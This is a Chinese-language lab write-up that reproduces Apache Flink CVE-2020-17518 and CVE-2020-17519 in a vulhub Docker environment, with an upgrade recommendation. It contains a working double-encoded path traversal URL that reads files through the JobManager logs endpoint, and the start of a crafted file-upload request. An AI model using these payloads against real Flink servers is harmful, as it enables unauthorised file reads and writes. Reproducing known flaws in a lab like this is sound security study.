Apache Flink(CVE-2020-17518&&CVE-2020-17519)漏洞复现
漏洞描述
CVE-2020-17518:通过REST API写入远程文件
影响版本:Flink 1.5.1-1.11.2
Flink 1.5.1引入了REST API,可通过修改HTTP HEADER将任意文件写入到文件系统的任意位置。
CVE-2020-17519:通过REST API读取远程文件
影响版本 Flink 1.11.0-1.11.2
Flink 1.11.0-1.11.2中引入的一项更改,允许攻击者通过JobManager进程的REST接口读取本地文件系统上的任何文件,访问仅限于JobManager可访问的文件。
环境搭建
下载vulhub
1 | git clone https://github.com/vulhub/vulhub.git |
进入目录
1 | cd vulhub/flink/CVE-2020-17518 |
安装环境
1 | docker-compose up -d |
访问
这里版本为1.11.2
漏洞复现
CVE-2020-17518复现
构造数据包
1 | POST /jars/upload HTTP/1.1 |
也可以通过CVE-2020-17519来进行读取
CVE-2020-17519复现
1 | http://your ip:8081//jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag |
%252f
是 /
的二次编码
直接访问可读取到文件信息
修复建议
升级到安全版本
Flink 1.11.3或Flink 1.12.0
参考连接
https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 暮余笙のBlog!
评论